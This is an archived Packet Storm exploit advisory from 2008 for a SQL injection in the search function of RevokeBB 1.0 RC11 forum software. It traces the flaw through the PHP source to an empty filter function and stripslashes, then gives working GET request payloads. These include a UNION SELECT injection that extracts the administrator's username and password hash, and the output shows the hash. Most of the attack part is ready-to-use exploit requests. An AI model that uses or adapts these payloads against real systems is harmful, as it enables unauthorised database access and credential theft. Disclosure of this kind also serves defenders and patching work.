what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

revokebbrc11-sql.txt

revokebbrc11-sql.txt
Posted May 27, 2008
Authored by The:Paradox | Site inj3ct-it.org

RevokeBB version 1.0 RC11 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | fb6f0b3937438057cf60975d72f55a9281369ecf0cbe4b709de893e2a773e822

revokebbrc11-sql.txt

Change Mirror Download
#!/usr/bin/python
"""
#=================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This is a public Exploit #
#=================================================================================================#
# RevokeBB 1.0 RC11 #
# Sql Injection Vulnerability #
#====================================#===========#====================================#===========#
# Server Configuration Requirements # # Some Information # #
#====================================# #====================================# #
# # #
# # Vendor: sourceforge.net/projects/revokebb/ #
# # Author: The:Paradox #
# Nothing! # Severity: Critical #
# # #
# # Proud To Be Italian. #
# # #
#====================================#===========#================================================#
# Proof Of Concept / Bug Explanation # #
#====================================# #
# RevokeBB presents a critical vulnerability in the "Search System". Let's see sources: #
#=================================================================================================#

[./inc/acts/search.module.php]

85. $search_string = $this->var_filtrer->String('search');

141. $search->fast_thread_search($search_string, $start, 15);

[./inc/class_search.php]

83. function fast_thread_search($string, $start, $stop)
84. {
85. if($start > '0')
86. $str = ($start - 1)*$stop;
87. else
88. $str = 0;
89.
90. //$string = $this->prepare_sstring($string);
91.
92.
93. $query = $this->db->execQuery($this->prepare_query('revokebb_posts.text', $string, 0, array($str, $stop) ));

#=================================================================================================#
# Ok, we have a sql query with $search_string. Seems it has been cleaned by var_filtrer(), #
# but don't trust function names =D. Let's have a look? #
#=================================================================================================#

[./inc/class_var_filtrer]

41. function var_filtrer()
42. {
43. //$this->add($var);
44.
45. }

#=================================================================================================#
# What? An empty function??? This function does really nothing :D ... But that's not all. #
# Let's see String() function. #
#=================================================================================================#

[./inc/class_var_filtrer]

74. function String($name, $let_html=1)
75. {
76. if(!isset($this->variable[$name]))
77. return '';
78.
79. $this->variable[$name]=stripslashes(trim($this->variable[$name]));
80.
81. if($let_html!=1)
82. $this->variable[$name]=strip_tags($this->variable[$name]);
83.
84. /*$this->variable[$name]=htmlspecialchars($this->variable[$name], ENT_QUOTES);*/
85.
86. $this->variable[$name]=htmlentities($this->variable[$name]);
87.
88. $this->variable[$name] = preg_replace("/\\\(?!&#|\?#)/", "\", $this->variable[$name]);
89.
90. return trim($this->variable[$name]);
91. }

#=================================================================================================#
# See, $name is stripslashed :D That's all, Sql injection vulnerability Magic Quotes Indipendent. #
# Let's have a try. #
#=================================================================================================#

GET http://localhost/RevokeBB/?search=%25%27pwnz00red

Fatal error: database::query() Could not execute: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use
near 'pwnz00red%' GROUP BY revokebb_threads.thread_id LIMIT 0,15' at line 7

GET http://localhost/RevokeBB/?search=|The:Paradox|%25%27/**/union/**/select/**/1,2,3,4,5,6,concat(user_nick,0x3a,user_password),8,9,10,11,12,13,14,15,16,17,18/**/from/**/revokebb_users/**/where/**/user_id=1/*

Title Author Replies Visits Last post
2 root:42f3f2bd1a74120fb585a894aa13b31a 10 13 01-01-1970 00:00:09
4
#=================================================================================================#
# Use these informations at your own risk. You are responsible for your own deeds. #
#=================================================================================================#
"""
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    20 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close